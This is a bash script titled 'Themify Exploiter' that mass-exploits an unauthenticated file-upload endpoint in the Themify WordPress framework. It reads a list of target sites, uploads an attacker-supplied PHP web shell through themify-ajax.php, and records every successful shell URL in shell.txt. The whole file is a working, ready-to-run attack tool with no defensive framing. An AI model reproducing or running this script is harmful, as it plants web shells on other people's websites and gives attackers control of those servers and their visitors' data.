#!/bin/bash
# BC0DE.NET - CCOCOT.CO
header(){
cat << "EOF"
____ ____ ___ ____ _____ _ _ _____ _____
| __ ) / ___/ _ \| _ \| ____| | \ | | ____|_ _|
| _ \| | | | | | | | | _| | \| | _| | |
| |_) | |__| |_| | |_| | |___ _| |\ | |___ | |
|____/ \____\___/|____/|_____(_)_| \_|_____| |_|
Themify Exploiter
Ccocot | ccocot@bc0de.net
Thank For Monyet B Luffy
EOF
}
function Exploit(){
local CY='\e[36m'
local GR='\e[34m'
local OG='\e[92m'
local WH='\e[37m'
local RD='\e[31m'
local YL='\e[33m'
local BF='\e[34m'
local DF='\e[39m'
local OR='\e[33m'
local PP='\e[35m'
local B='\e[1m'
local CC='\e[0m'
printf "${CY}[*]${CC} Website: ${1}\n"
local CHECK=$(curl -s ${1} -L)
if [[ $CHECK =~ "/themify/" ]]; then
local THEME=$(echo $CHECK | grep -Po "(?<=/themes/)[^/]*" | head -1)
printf "${OG}[+]${CC} Themify Found [${B}${PP}$THEME${CC}]\n"
local EXPLOIT=$(curl -s "${1}/wp-content/themes/${THEME}/themify/themify-ajax.php?upload=1" -X POST -F "Filedata=@${2}" -D -)
if [[ $EXPLOIT =~ "${2}" ]]; then
printf "${OG}[+]${CC} EXPLOIT SUKSES ... [${2}]\n"
printf "${OG}[+]${CC} ${1}/wp-content/themes/${THEME}/uploads/${2}\n\n"
echo "${1}/wp-content/themes/${THEME}/uploads/${2}" >> shell.txt
else
printf "${RD}[-]${CC} EXPLOIT GAGAL ... [$2]\n\n"
fi
else
printf "${RD}[-]${CC} Themify not found\n\n"
fi
}
if [ -z $1 ]; then
header
printf "\n To Use $0 <file.txt> <shell.php>\n"
exit 1
fi
header
SHELL=$2
for SITE in $(cat $1); do
Exploit "${SITE}" "${SHELL}"
done
Comments